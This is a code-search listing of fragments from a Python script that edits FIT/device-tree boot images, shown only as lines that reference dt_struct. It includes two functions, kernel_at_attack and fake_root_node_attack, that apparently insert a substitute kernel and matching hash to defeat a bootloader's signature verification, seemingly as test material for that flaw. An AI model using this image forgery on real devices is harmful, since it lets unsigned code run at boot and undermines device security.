Lines Matching refs:dt_struct
54 def determine_offset(dt_struct, dt_strings, searched_node_name): argument
75 while offset < len(dt_struct):
76 (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
84 node_name = getstr(dt_struct, offset)
102 dt_struct[offset:offset + 8])
136 def modify_node_name(dt_struct, node_offset, replcd_name): argument
151 node_name = getstr(dt_struct, node_offset)
162 dt_struct = (dt_struct[:node_offset] + replcd_name +
163 dt_struct[node_offset + node_name_len:])
165 return dt_struct
168 def modify_prop_content(dt_struct, prop_offset, content): argument
182 dt_struct[prop_offset:prop_offset + 8])
194 dt_struct = (dt_struct[:prop_offset] + added_data +
195 dt_struct[prop_offset + original_node_len:])
197 return dt_struct
200 def change_property_value(dt_struct, dt_strings, prop_path, prop_value, argument
217 (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
220 return dt_struct
223 dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
225 return dt_struct
227 def change_node_name(dt_struct, dt_strings, node_path, node_name): argument
243 determine_offset(dt_struct, dt_strings, node_path))
247 dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
249 return dt_struct
251 def get_prop_value(dt_struct, dt_strings, prop_path): argument
265 (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
270 (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
273 tag_data = dt_struct[offset:offset + len_tag]
278 def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): argument
298 dt_struct, dt_strings, '/configurations/default')
304 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
314 dt_struct, dt_strings, '/images/' + loaded_kernel))
320 loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
323 dt_struct = dt_struct[:krn_node_start] + \
324 loaded_kernel_copy + dt_struct[krn_node_start:]
329 dt_struct = change_node_name(
330 dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
333 dt_struct = change_property_value(
334 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
337 dt_struct = change_property_value(
338 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
340 return dt_struct
343 def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest): argument
357 dt_struct, dt_strings, '/configurations/default')
363 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
368 (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
374 duplicated_node = dt_struct[rt_node_start:rt_node_end]
379 dt_struct = new_dup + dt_struct
385 dt_struct = change_property_value(dt_struct, dt_strings, value_path,
391 dt_struct = change_node_name(dt_struct, dt_strings, node_path,
396 dt_struct = change_property_value(dt_struct, dt_strings, data_path,
401 dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
404 return dt_struct
441 dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
453 dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
456 dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
461 size_dt_struct = len(dt_struct)
465 off_dt_strings = off_dt_struct + len(dt_struct)
475 output_file.write(dt_struct)